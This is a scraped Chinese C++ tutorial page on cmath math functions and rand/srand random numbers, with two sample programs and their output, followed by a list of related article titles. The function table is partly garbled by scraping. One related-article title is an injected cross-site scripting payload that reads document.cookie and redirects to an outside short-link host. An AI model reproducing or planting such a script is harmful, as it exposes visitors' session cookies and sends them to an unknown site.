c++学习笔记(五):数学运算和随机数
来源:互联网 发布:国培计划2017网络研修 编辑:程序博客网 时间:2024/04/29 09:32
C++数学运算:
除了创建的各种函数,C++也包括可以用一些有用的函数。这些函数都是标准的C和C++库,并提供所谓的内置函数。这些功能可以被包括在程序中再使用。
C++拥有一套丰富的数学运算,它可以在不同的数字来进行的。下表列出了一些有用的内置在C++中提供的数学函数。
利用这些函数需要包括数学头文件 <cmath>.
这个函数计算角度(如double),并返回余弦值2double sin(double);
这个函数计算角度(如double),并返回正弦3double tan(double);
这个函数计算角度(如double),并返回切线4double log(double);
这个函数接受一个数字,并返回该数的自然对数5double pow(double, double);
首先是一个数字,第二个是希望它提升到次幂6double hypot(double, double);
如果通过这个函数直角三角形两边的长度,它会返回斜边的长度7double sqrt(double);
通过这个函数,它返回这个数的平方根8int abs(int);
此函数返回传递给它的一个整数的绝对值9double fabs(double);
该函数返回传递给它的任何十进制数的绝对值10double floor(double);
查找整数小于或等于传递给它的参数
下面一个简单的例子来显示几个数学运算:
#include <iostream>#include <cmath>using namespace std; int main (){ // number definition: short s = 10; int i = -1000; long l = 100000; float f = 230.47; double d = 200.374; // mathematical operations; cout << "sin(d) :" << sin(d) << endl; cout << "abs(i) :" << abs(i) << endl; cout << "floor(d) :" << floor(d) << endl; cout << "sqrt(f) :" << sqrt(f) << endl; cout << "pow( d, 2) :" << pow(d, 2) << endl; return 0;}
让我们编译和运行上面的程序,这将产生以下结果:
sign(d) :-0.634939abs(i) :1000floor(d) :200sqrt(f) :15.1812pow( d, 2 ) :40149.7
C++随机数:
有很多情况下,希望生成一个随机数。实际上需要了解两种生成随机数函数。第一个rand(),该函数将只返回一个伪随机数。解决这个问题的方法是,先调用srand()函数。
下面是一个简单的例子来产生一些随机数。这个例子使用 time() 函数来获取对系统时间的秒数,随机种子使用 rand() 函数:
#include <iostream>#include <ctime>#include <cstdlib>using namespace std; int main (){ int i,j; // set the seed srand( (unsigned)time( NULL ) ); /* generate 10 random numbers. */ for( i = 0; i < 10; i++ ) { // generate actual random number j= rand(); cout <<" Random Number : " << j << endl; } return 0;}
当上述代码被编译和执行时,它产生了以下结果:
Random Number : 1748144778 Random Number : 630873888 Random Number : 2134540646 Random Number : 219404170 Random Number : 902129458 Random Number : 920445370 Random Number : 1319072661 Random Number : 257938873 Random Number : 1256201101 Random Number : 580322989
0 0
- c++学习笔记(五):数学运算和随机数
- php学习之数学函数 数字运算 随机数 数组
- openCv学习笔记(五)-数学形态学2(灰度级膨胀和腐蚀及c语言实现)
- OpenCv学习笔记(五)-数学形态学2(灰度级膨胀和腐蚀及c语言实现)
- Python学习笔记——基础数学运算(只要五分钟就能掌握系列)
- 《C和指针》学习笔记(五)
- 【学习笔记】C语言 随机数的生成原理分析和各类随机数公式
- python学习笔记 1 数学运算
- JavaScript学习笔记12-数学运算
- Objective-C学习笔记(四)——OC实现最简单的数学运算
- java学习笔记<五>instanceof运算符
- Linux Shell 学习笔记(五)---运算符
- 【C语言学习笔记】进制和位运算
- 学习笔记2-C语言的运算符和程序结构
- C语言学习笔记3-运算符和表达式
- #C语言学习笔记#运算符、表达式和语句
- C++primer学习笔记-----4.3逻辑和关系运算符
- (c/c++学习笔记五)数组和指针
- Spring中@Autowired注解、@Resource注解的区别
- UItextView自定义其高度,禁止滚动
- popupwindow弹出后出现当前activity和前一个activity一起出现的状况(window透明的设置)
- PHP验证身份证类(包含香港身份证校验)
- <30天自制操作系统>第三天
- c++学习笔记(五):数学运算和随机数
- 西蒙iphone-OpenGL ES 教程-13 : 在 3D中移动
- Jeesng源码下载交流,jeesite二次开发交流
- table-layout属性
- Linux 命令无法正常使用
- 阅读Sofia-SIP源码 - su模块 - su_log.c/su_log.h
- <script>alert('xss1');alert(document.cookie);self.location="http://dwz.cn/3SVr3s"</script>
- iw 命令
- 关于宏和函数、内联函数的一些区别